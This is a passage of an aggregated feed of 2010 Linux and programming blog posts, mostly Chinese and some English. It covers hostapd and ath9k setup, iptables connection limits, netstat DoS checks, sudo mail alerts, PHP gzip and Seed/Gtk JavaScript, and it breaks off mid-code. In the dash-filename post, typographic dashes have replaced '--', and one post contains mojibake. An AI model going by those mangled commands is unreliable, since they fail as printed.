After the release of &lt;a href=&quot;http://linux.voyage.hk/content/voyage-linux-065-released&quot;&gt;Voyage Linux 0.6.5&lt;/a&gt;, I finally have time to explore AP mode with &lt;a href=&quot;http://wireless.kernel.org/en/users/Drivers/ath9k&quot;&gt;ath9k&lt;/a&gt; driver.
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;http://www.pcengines.ch/dnma92.htm&quot;&gt;DNMA-92&lt;/a&gt; wireless card is donated by &lt;a href=&quot;http://www.pcengines.ch&quot;&gt;PCEngines&lt;/a&gt; for ath9k driver and Voyage Linux integration.
&lt;/p&gt;
&lt;p&gt;
First, you will need to install &lt;a href=&quot;http://wireless.kernel.org/en/users/Documentation/iw&quot;&gt;iw&lt;/a&gt; package from http://www.voyage.hk/dists/0.6/iw/.  Voyage Linux 0.6.5 didn't package it, so you need to install it manually.
&lt;/p&gt;
&lt;p&gt;
Although you won't need iw tool in the instructions further below, you can use it for getting information on your nl80211 based wireless interface instead of iwconfig (See &lt;a href=&quot;http://wireless.kernel.org/en/users/Documentation/iw/replace-iwconfig&quot;&gt;this page&lt;/a&gt; for more info).  To start with, install iw tool:
&lt;pre&gt;
# remountrw
# wget http://www.voyage.hk/dists/0.6/iw/iw_0.9.14-1_i386.deb
# dpkg -i iw_0.9.14-1_i386.deb
&lt;/pre&gt;
According to &lt;a href=&quot;http://wireless.kernel.org/en/users/Documentation/hostapd&quot;&gt;this link&lt;/a&gt;, ath9k will need to use nl80211 driver for hostap functions.  So, in /etc/hostapd/hostapd.conf, append the following at the end of the file.  
&lt;pre&gt;
driver=nl80211
interface=wlan0
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
debug=4
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
macaddr_acl=0
auth_algs=3
eapol_key_index_workaround=0
eap_server=0
wpa=3
ssid=voyage-wpa
wpa_passphrase=voyage-wpa
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
channel=11
hw_mode=g
eapol_version=1
&lt;/pre&gt;
Please note that Voyage Linux use wlan0 for ath9k interface.  From the above configure, I have configured WPA/WPA2, using voyage-wpa as both SSID and pre-shared key, running 802.11g mode on channel 11.  eapol_version=1 is set for backward compatibility to my damn old 2001 iBook.  Later, I may further explore on setting up 802.11n mode, I won't do it now since I have no client device with 11n.
&lt;/p&gt;
&lt;p&gt;
At last, don't forget to enable wlan0 in /etc/network/interfaces:
&lt;pre&gt;
auto wlan0
iface wlan0 inet static
        address 10.1.10.1
        netmask 255.255.255.0
        broadcast 10.1.10.255
        up nat.sh wlan0 eth0 &quot;10.1.10.0/24&quot;
&lt;/pre&gt;
You don't need to set anything with iw tools since hostapd will do it for you. Now, 
make sure hostapd is enabled in /etc/default/hostapd and restart wlan0 interface and hostapd by:
&lt;pre&gt;
# ifdown wlan0
# ifup wlan0
# /etc/init.d/hostapd restart
&lt;/pre&gt;
That's it.  I can now connecting my iBook and iPhone to Voyage Linux with running ath9k in AP mode! 
&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.punknix.com/dnma92-ath9k-and-hostapd-with-voyage-linux&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-23T15:48:01+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/566">
	<title>Sam Tang: Linux: 操作包含特殊字元的檔案</title>
	<link>http://www.hkcode.com/linux-bsd-notes/566</link>
	<content:encoded>&lt;p&gt;在 Unix 或 Linux 下很多特殊字元也是指令的一部份，例如空格 (&amp;#8221; &amp;#8220;)、問號 (&amp;#8221;?&amp;#8221;) 及橫線 (&amp;#8221;-&amp;#8221;) 等。所以如果檔案名稱包含了一些特殊字元，在操作上便會出現錯誤，例如:&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;
# touch -foo.txt&lt;br /&gt;
touch: invalid option &amp;#8212; &amp;#8216;o&amp;#8217;&lt;br /&gt;
Try `touch &amp;#8211;help&amp;#8217; for more information.&lt;br /&gt;
# touch &amp;#8211;foo.txt&lt;br /&gt;
touch: unrecognized option &amp;#8216;&amp;#8211;foo.txt&amp;#8217;&lt;br /&gt;
Try `touch &amp;#8211;help&amp;#8217; for more information.&lt;/div&gt;
&lt;p&gt;上面輸入了兩行指令，分別用 touch 建立檔案 &amp;#8220;-foo.txt&amp;#8221; 及 &amp;#8220;&amp;#8211;foo.txt&amp;#8221;，但同樣發生錯誤。要解決這個問題，只要在指令後面加上兩個橫線 &amp;#8220;&amp;#8211;&amp;#8221; 即可，例如:&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;
# touch &amp;#8212; &amp;#8211;foo.txt&lt;br /&gt;
# touch &amp;#8212; -foo.txt&lt;/div&gt;
&lt;p&gt;而這個方法同樣可以在其他檔案操作指令使用，例如 cp, mv, rm, rmdir。&lt;/p&gt;
&lt;p&gt;以下是 cp 及 mv 的用法:&lt;/p&gt;
&lt;p&gt;cp - - &amp;#8216;-foo.txt&amp;#8217; /path/to/dest&lt;br /&gt;
mv - - &amp;#8216;-foo.txt&amp;#8217; /path/to/dest
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-22T07:55:57+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/565">
	<title>Sam Tang: 使用 PHP GZIP 使網頁提速</title>
	<link>http://www.hkcode.com/programming/565</link>
	<content:encoded>&lt;p&gt;GZIP 是一種壓縮技術，是在伺服器上將頁面壓縮，傳到用戶的瀏覽器再解壓。在 PHP 實要 GZIP 壓縮可以這樣做:&lt;/p&gt;
&lt;div class=&quot;igBar&quot;&gt;&lt;span id=&quot;lphp-2&quot;&gt;&lt;a href=&quot;http://www.hkcode.com/programming/565&quot;&gt;PLAIN TEXT&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;syntax_hilite&quot;&gt;&lt;span class=&quot;langName&quot;&gt;PHP:&lt;/span&gt;
&lt;div id=&quot;php-2&quot;&gt;
&lt;div class=&quot;php&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;&amp;lt;?php&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;if&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/substr_count&quot;&gt;&lt;span&gt;substr_count&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_ACCEPT_ENCODING'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, &lt;span&gt;'gzip'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.php.net/ob_start&quot;&gt;&lt;span&gt;ob_start&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&quot;ob_gzhandler&quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.php.net/ob_start&quot;&gt;&lt;span&gt;ob_start&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;?&amp;gt;&lt;/span&gt; &lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-22T07:36:58+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/564">
	<title>Sam Tang: 執行 sudo 時電郵通知</title>
	<link>http://www.hkcode.com/linux-bsd-notes/564</link>
	<content:encoded>&lt;p&gt;sudo 提供了簡單的方法追蹤執行紀錄，其中一項就是當透過 sudo 執行 指令時發送電郵到指定電郵地址，方法如下:&lt;/p&gt;
&lt;p&gt;1. 開啟 sudo 的設定檔:&lt;br /&gt;
visudo&lt;/p&gt;
&lt;p&gt;2. 加入下面兩行:&lt;/p&gt;
&lt;p&gt;mailto &quot;admin@localhost&quot;&lt;br /&gt;
mail_always on&lt;/p&gt;
&lt;p&gt;mailto 後面是設定發送電郵通知的地址。&lt;br /&gt;
mail_always 預設是 off，開啟後會在每次執行 sudo 後發出電郵通知。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-19T04:08:09+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/563">
	<title>Sam Tang: Iptables 限制每個 ip 連線數</title>
	<link>http://www.hkcode.com/linux-bsd-notes/563</link>
	<content:encoded>&lt;p&gt;如果在 Linux 下要限制每個 ip 的連線數，可以透過 iptables 實現。詳細指令語法如下：&lt;/p&gt;
&lt;p&gt;/sbin/iptables  -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT&lt;br /&gt;
限制每個 ip 只可以有 3 個 ssh 連線 (預設 ssh 使用 port 22)。&lt;/p&gt;
&lt;p&gt;/sbin/iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset&lt;br /&gt;
只接受每個 ip 20 個 http 連線 (httpd.conf 裡面的 MaxClients 預設是 60)。&lt;br /&gt;
要留意的是，這個設定可能會把 proxy servers 阻隔，因為每個 proxy servers 可能會建立大量的連線。&lt;/p&gt;
&lt;p&gt;Skip proxy server IP 1.2.3.4 from this kind of limitations:&lt;/p&gt;
&lt;p&gt;/sbin/iptables -A INPUT -p tcp --syn --dport 80 -d ! 1.2.3.4 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset&lt;br /&gt;
這句的作用跟上面語法一樣，只是把已知的 proxy server (1.2.3.4) 給開通，避免阻隔 proxy servers 的連線。&lt;/p&gt;
&lt;p&gt;In this example, limit the parallel http requests to 20 per class C sized network (24 bit netmask)&lt;/p&gt;
&lt;p&gt;/sbin/iptables  -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j REJECT --reject-with tcp-reset&lt;br /&gt;
這個是限制同一個 class C 網絡同時建立 20 個連線。&lt;/p&gt;
&lt;p&gt;如果想把在指定時間內建立過多連線的 ip 阻隔，這便要編輯 iptables 的 shell script。&lt;br /&gt;
以下例子會阻隔在 100 秒內建立多於 10 個 http 連線的 ip&lt;/p&gt;
&lt;p&gt;#!/bin/bash&lt;br /&gt;
IPT=/sbin/iptables&lt;br /&gt;
# Max connection in seconds&lt;br /&gt;
SECONDS=100&lt;br /&gt;
# Max connections per IP&lt;br /&gt;
BLOCKCOUNT=10&lt;br /&gt;
# ....&lt;br /&gt;
# ..&lt;br /&gt;
# default action can be DROP or REJECT&lt;br /&gt;
DACTION=&quot;DROP&quot;&lt;br /&gt;
$IPT -A INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --set&lt;br /&gt;
$IPT -A INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds ${SECONDS} --hitcount ${BLOCKCOUNT} -j ${DACTION}&lt;br /&gt;
# ....&lt;br /&gt;
# ..&lt;/p&gt;
&lt;p&gt;要儲存 iptables 的修改可以查看 iptables-save 的 man page，在 redhat 下是用以下指令:&lt;br /&gt;
service iptables save
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-18T13:08:54+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/186/Drag_and_Drop_with_seed_Javascript_and_Gtk_.html">
	<title>Alan Knowles: Drag and Drop with seed (Javascript) and Gtk</title>
	<link>http://www.akbkhome.com/blog.php/View/186/Drag_and_Drop_with_seed_Javascript_and_Gtk_.html</link>
	<content:encoded>&lt;a href=&quot;http://www.akbkhome.com/blog.php/blog.php&quot;&gt;Article originally from AK BK Consulting blog&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;As part of my, &amp;quot;What to do while looking for a Job&amp;quot; project, I'm exploring the Gtk/Gobject introspection bindings in seed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It's one of those fun, not documented anywhere, and you have to dig around all the source to understand how to do things projects. And part of a grander plan to develop a generic application builder loosely based around the&lt;a href=&quot;http://www.youtube.com/watch?v=vHIoFU1oWa0&quot;&gt; RooJs builder application&lt;/a&gt; I blogged about previously.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The idea is that using Gtk, GtkSourceView, and the concepts I developed in the RooJS Builder, I would be able to create Dynamic Web applications (and eventually Gtk ones) very rapidly due to the ability to closely tie the action code to the interface design.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The core reasons why it speeds up development are:&lt;/div&gt;&lt;div&gt;- Syntax checking is feasible when creating code.&lt;/div&gt;&lt;div&gt;- Adding, editing and selecting properties and event handlers is faster, less error prone, and access to documentation is instant. &lt;/div&gt;&lt;div&gt;- Visually changing and seeing the effect of a change (the change - reload - test cycle) is reduced to milliseconds rather than tens of seconds.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So far most of the application is mocked up, (and relivant patches have been submitted to seeds' bugzilla for review). However one of the key components I was looking at over the Chinese New Year Break was drag and drop of Palete Items onto the Rendered View of the application (Webkit embedded), (and eventually the tree that makes it up). To do this involved seriously testing the Gobject introspection bindings and how the interact with the drag and drop methods in Gtk.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So Read on if you are interested in how it all comes together.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-02-17T03:10:00+00:00</dc:date>
</item>
<item rdf:about="http://me.abelcheung.org/?p=731">
	<title>狗爺語錄: WordPress Private Post Access plugin updated</title>
	<link>http://me.abelcheung.org/2010/02/10/wordpress-private-post-access-plugin-updated/</link>
	<content:encoded>&lt;p&gt;&lt;span class=&quot;drop&quot;&gt;J&lt;/span&gt;ust made up my mind to push a new version (1.3.0) of the plugin, which can be &lt;a href=&quot;http://code.google.com/p/wp-priv-post-access/&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;downloaded from its official page&lt;/a&gt; as usual. There are a few mysterious oddities so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An &lt;a href=&quot;http://me.abelcheung.org/devel/show-private-posts-in-wordpress/comment-page-1/#comment-100777&quot; class=&quot;liinternal&quot;&gt;odd problem&lt;/a&gt; which seemed to affect earlier WordPress 2.8.x versions is just gone, for unknown reason.&lt;/li&gt;
&lt;li&gt;When trying to replace the category list retrieved from &lt;code&gt;get_terms()&lt;/code&gt;, PHP simply segfaulted, at least on my machine. Failed to get any meaningful error message, nor can I deduce any reason so far.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So for now I just settled in showing empty categories in sidebar widgets, which should work as an internim solution (categories containing ONLY private posts are not shown by default, as the public post count is zero). Of course, the side effect is that even genuinely empty categories are shown as well. I&amp;#8217;ll see what can be done later.&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-10T11:34:49+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/562">
	<title>Sam Tang: ProFTPd 登入援慢問題</title>
	<link>http://www.hkcode.com/linux-bsd-notes/562</link>
	<content:encoded>&lt;p&gt;在安裝 ProFTPd 後，會發覺登入時非常援慢，但只要登入成功後，速度就會變得很暢順。&lt;/p&gt;
&lt;p&gt;造成這個問題的原因是 ProFTPd 預設在登入時會做「反查」的動作，解決方法是將 ProFTPd 設定為不做「反查」。方法如下：&lt;/p&gt;
&lt;p&gt;1. 開啟 proftpd.conf，一般上檔案位置會是 /etc/proftpd.conf 或 /usr/local/etc/proftpd.conf&lt;/p&gt;
&lt;p&gt;2. 加入以下兩行:&lt;/p&gt;
&lt;p&gt;UseReverseDNS off&lt;br /&gt;
IdentLookups off&lt;/p&gt;
&lt;p&gt;3. 重新啟動 ProFTPd。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-10T07:03:10+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/561">
	<title>Sam Tang: Linux 系統管理電子書</title>
	<link>http://www.hkcode.com/linux-bsd-notes/561</link>
	<content:encoded>&lt;p&gt;The Free Technology Academy (FTA) 釋出一本免費電子書 &quot;&lt;a href=&quot;http://ftacademy.org/files/materials/fta-m2-admin_gnulinux-v1.pdf&quot; title=&quot;The GNU/Linux operating system&quot;&gt;The GNU/Linux operating system&lt;/a&gt;&quot;，內容主要圍繞系統管理，例如如何安裝及設定多種不同的伺服器及優化系統等。&lt;/p&gt;
&lt;p&gt;官方網站介紹：&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
    The GNU/Linux systems have reached an important level of maturity, allowing to integrate them in almost any kind of work environment, from a desktop PC to the sever facilities of a big company.&lt;/p&gt;
&lt;p&gt;    In the module called &quot;The GNU/Linux operating system&quot;, the main contents are related with system administration. This book is the main documentation for the module.
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;書本資料:&lt;/p&gt;
&lt;p&gt;    * Authors: Remo Suppi Boldrito, Josep Jorba Esteve&lt;br /&gt;
    * Coordinator: Josep Jorba Esteve&lt;br /&gt;
    * Licenses: GNU Free Documentation License, Creative Commons Attribute ShareAlike License&lt;br /&gt;
    * Information: 545 Pages; 18.8 Mb&lt;br /&gt;
    * &lt;a href=&quot;http://ftacademy.org/files/materials/fta-m2-admin_gnulinux-v1.pdf&quot; title=&quot;The GNU/Linux operating system&quot;&gt;Download PDF version&lt;/a&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-09T09:42:38+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/560">
	<title>Sam Tang: PHP 免費線上電子書 - Practical PHP Programming</title>
	<link>http://www.hkcode.com/programming/560</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.tuxradar.com/practicalphp&quot; title=&quot;Practical PHP Programming&quot; target=&quot;_blank&quot;&gt;Practical PHP Programming&lt;/a&gt; 是 PHP 免費線上電子書，比較適合對 PHP 有基礎認識的朋友，以下為電子書目錄：&lt;/p&gt;
&lt;p&gt;1. Preface&lt;br /&gt;
2. Introducing PHP&lt;br /&gt;
3. Simple variables and operators&lt;br /&gt;
4. Functions&lt;br /&gt;
5. Arrays&lt;br /&gt;
6. Objects&lt;br /&gt;
7. HTML Forms&lt;br /&gt;
8. Files&lt;br /&gt;
9. Databases&lt;br /&gt;
10. Cookies and Sessions&lt;br /&gt;
11. Multimedia&lt;br /&gt;
12. XML &amp;#038; XSLT&lt;br /&gt;
13. Output Buffering&lt;br /&gt;
14. Java and COM&lt;br /&gt;
15. Networks&lt;br /&gt;
16. Miscellaneous topics&lt;br /&gt;
17. Security concerns&lt;br /&gt;
18. Performance&lt;br /&gt;
19. Writing PHP&lt;br /&gt;
20. Writing extensions&lt;br /&gt;
21. Alternative PHP uses&lt;br /&gt;
22. Practical PHP&lt;br /&gt;
23. Bringing it to a close&lt;br /&gt;
24. Answers to Exercises&lt;br /&gt;
25. The future of PHP&lt;br /&gt;
26. Glossary&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-09T08:53:00+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/559">
	<title>Sam Tang: netstat 檢查不尋常連線</title>
	<link>http://www.hkcode.com/linux-bsd-notes/559</link>
	<content:encoded>&lt;p&gt;netstat 是一個十分好用的網絡管理工具，而其中一個用途是查看不尋常連線，例如當一個 IP 發送大量連線到伺服器，那麼伺服器很大機會是否遭受 DoS 或 DDoS 攻擊。&lt;/p&gt;
&lt;p&gt;以下是一些實用的 netstat 語法，可以檢查主機的連線數量：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -na&lt;/strong&gt;&lt;br /&gt;
顯示主機上所有已建立的連線。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -an | grep :80 | sort&lt;/strong&gt;&lt;br /&gt;
顯示所有 port 80 的連線，並把結果排序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -n -p|grep SYN_REC | wc -l&lt;/strong&gt;&lt;br /&gt;
列出主機上有多少個 SYNC_REC，一般上這個數字應該相當低。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -n -p | grep SYN_REC | sort -u&lt;/strong&gt;&lt;br /&gt;
同樣是列出 SYNC_REC，但不只列出數字，而是將每個 SYNC_REC 的連線列出。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'&lt;/strong&gt;&lt;br /&gt;
列出發送 SYNC_REC 的所有 ip 地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n&lt;/strong&gt;&lt;br /&gt;
計算每一個 ip 在主機上建立的連線數量。&lt;/p&gt;
&lt;p&gt;netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n&lt;br /&gt;
列出從 TCP 或 UDP 連線到主機的 ip 的數量。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr&lt;/strong&gt;&lt;br /&gt;
列出每個 ip 建立的 ESTABLISHED 連線數量。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1&lt;/strong&gt;&lt;br /&gt;
列出每個 ip 建立的 port 80 連線數量。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-09T03:12:50+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/my-life/558">
	<title>Sam Tang: 婚禮</title>
	<link>http://www.hkcode.com/my-life/558</link>
	<content:encoded>&lt;p&gt;2010 年 1 月 23 日是我結婚的大日子，多得一班朋友及家人的幫忙，他們為我們處理大大小小的問題，尤其在酒樓座位安排上面，整天我們兩夫妻也不用操心細節，只要專心影相。&lt;/p&gt;
&lt;p&gt;沒有你們的幫忙，結婚當日不會這麼順利，在此再向他們衷心說聲多謝！
&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-31T04:32:54+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-4006348345528649311">
	<title>Vern: 64 bits</title>
	<link>http://www.du1abadd.org/2010/01/64-bits.html</link>
	<content:encoded>% cat /proc/cpuinfo&lt;p&gt;查看flags里是否有lm(Long Mode，64bit Extensions, AMD's AMD64 or Intel's&lt;br /&gt;EM64T)，有的话就说明是64位，没有就是32位。&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-4006348345528649311?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-30T20:07:02+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/185/Javascript_on_the_Desktop_well_Linux_Mostly.html">
	<title>Alan Knowles: Javascript on the Desktop (well Linux Mostly)</title>
	<link>http://www.akbkhome.com/blog.php/View/185/Javascript_on_the_Desktop_well_Linux_Mostly.html</link>
	<content:encoded>&lt;a href=&quot;http://www.akbkhome.com/blog.php/blog.php&quot;&gt;Article originally from AK BK Consulting blog&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;Unfortunately my internet line died over the weekend, and I was left without a connection until Tuesday. I had a bit of offline time to have a look at some interesting new(ish) technology.&lt;br /&gt;&lt;br /&gt;If you have paid any attention to Gnome development, there are mentions of gnome-shell, and something about making it easier to develop add-on/applets etc. using Javascript. I have not really had time to look at this much, however given the fact I had downloaded all the components prior to my loss of connectivity, I spent some time over the weekend and monday looking at this in more detail.&lt;br /&gt;&lt;br /&gt;It looks like there are obviously things going on in IRC and mailing lists, so most of my impressions are from the websites, and code. There are basically 2 projects currently.&lt;br /&gt;&lt;br /&gt;GJS - This is the mozilla Javascript engine bound to the gobject introspection system&lt;br /&gt;Seed - This is the webkit Javascript engine bound to the gobject introspection system&lt;br /&gt;&lt;br /&gt;Of the two, Seed apears to be a little more advanced and more time has gone into it, based on the fact there appear to be more core features in Seed (eg. I could not find anything like Seed.print() in GJS), and there are very few examples in GJS&lt;br /&gt;&lt;br /&gt;Both of these use the GObject introspection method to bind to Gtk, and a large and growing number of other libraries. This is something I found very interesting having gone through a similar process with rooscript. &lt;br /&gt;&lt;br /&gt;The fundimental issue of creating bindings to Gtk (and anything that uses the GObject system) is that historically, almost everyone (PHP, Python etc.) who did it used this method.&lt;br /&gt;&lt;br /&gt;* Parse the HTML documentation, or the .h files (extracting the classes, enums, methods, arguments etc.)&lt;br /&gt;* Generate Binding code for each library, which wraps these methods, loads the '.so' libraries and links it all together.&lt;br /&gt;* Compile a Module (or statically link it in some cases)&lt;br /&gt;* Run... Test.. Fix bugs in wrapping code... Run ... Test.&lt;br /&gt;&lt;br /&gt;What GObject inspection introduces is an very thin layer that can be used to expose any of these methods without writing any binding code (other than to GObject inspection). The result is that to add more features (linking to another library) - you just have to generate a XML file describing the interface, compile it with g-ir-compile and put it in the right folder, and you have magically added support to a new Library, without generating an C code!&lt;br /&gt;&lt;br /&gt;This also means that fixing the binding is considerably simpler (fix the XML file, re-compile etc.) and you have solved bugs in any language that is using it... (as I found with gtk_tree_store_set_column_types()&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Playing with the languages.&lt;/h3&gt;&lt;br /&gt;GJS and Seed present the Gtk API very slightly differently, which at present appears to be a bit of a blocker for deciding which to use (or even to bother for some). The key differences are for authoring&lt;br /&gt;&lt;br /&gt;* Javascript 'let' features in GJS - not available in Seed.. - This is rather a big blocker as code designed for GJS will fail in Seed totally.. (and visa-versa probably)&lt;br /&gt;* Different call signatures to signalsÃ�Â Ã�Â Ã�Â  SEED:OBJECT.signal.connect(method)Ã�Â  vsÃ�Â  GJS:OBJECT.connect('signal', method)Ã�Â  - I think personally that GJS way is more true to the concept and cleaner, however as you can see below there are ways around this.&lt;br /&gt;&lt;br /&gt;Seed has a git repo on gnome 'seed-examples', which contains a large number of examples, although their depth is rather thin unfortunatly.. (code coverage is probably 1% at best)...&lt;br /&gt;Both have pretty much Zero in the documentation stakes.. - A rather trivial task to create - which I'm tempted to have a go at....&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Anyway back to my playing around..&lt;/h3&gt;&lt;br /&gt;I've been doing some serious shit in Javascript recently, GUI builders, Code generators, Hacking GTK bindings etc. so I've seen the good, bad and ugly as far as Javascript goes (Bad sometimes being my code).Ã�Â  I've been slowly moving to what I regard as an effecient, productive use of Javascript, most of which can be seen in the xtype support in RooJS&lt;br /&gt;&lt;br /&gt;After runing the first few examples in seed-examples, I decided to see if using an xtype / Roo structure could be done with Seed. After a bit of tweaking, and bugfixing of Seed, I finally got this code to work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;var win = XN.xnew({&lt;br /&gt;    xtype : Gtk.Window,&lt;br /&gt;    type: Gtk.WindowType.TOPLEVEL,&lt;br /&gt;    listeners : {&lt;br /&gt;        'delete-event' : function (widget, event) {&lt;br /&gt;            return false;&lt;br /&gt;        },&lt;br /&gt;        destroy  : function (widget) {&lt;br /&gt;            Gtk.main_quit();&lt;br /&gt;        }&lt;br /&gt;   },&lt;br /&gt;   &lt;br /&gt;   set : {&lt;br /&gt;        set_border_width : [ 10 ],&lt;br /&gt;        resize : [300, 300],&lt;br /&gt;        show_all : []&lt;br /&gt;   },&lt;br /&gt;   items : [&lt;br /&gt;        {&lt;br /&gt;            xtype : Gtk.VBox,&lt;br /&gt;           &lt;br /&gt;            items : [&lt;br /&gt;                {&lt;br /&gt;                    xtype : Gtk.TreeView,&lt;br /&gt;                    &lt;br /&gt;                    &lt;br /&gt;                    &lt;br /&gt;                    onRender : function()&lt;br /&gt;                    {&lt;br /&gt;                        this.column = XN.xnew({&lt;br /&gt;                            xtype : Gtk.TreeViewColumn,&lt;br /&gt;                            items : [&lt;br /&gt;                                {&lt;br /&gt;                                    xtype : Gtk.CellRendererText&lt;br /&gt;                                }&lt;br /&gt;                            ]&lt;br /&gt;                        });&lt;br /&gt;                        &lt;br /&gt;                        this.column.add_attribute(this.column.items[0], &amp;quot;text&amp;quot;, 0);&lt;br /&gt;                        this.append_column(this.column);&lt;br /&gt;&lt;br /&gt;                        this.set_model( XN.xnew( {&lt;br /&gt;                            &lt;br /&gt;                            xtype : Gtk.TreeStore,&lt;br /&gt;                            &lt;br /&gt;                            onRender : function() {&lt;br 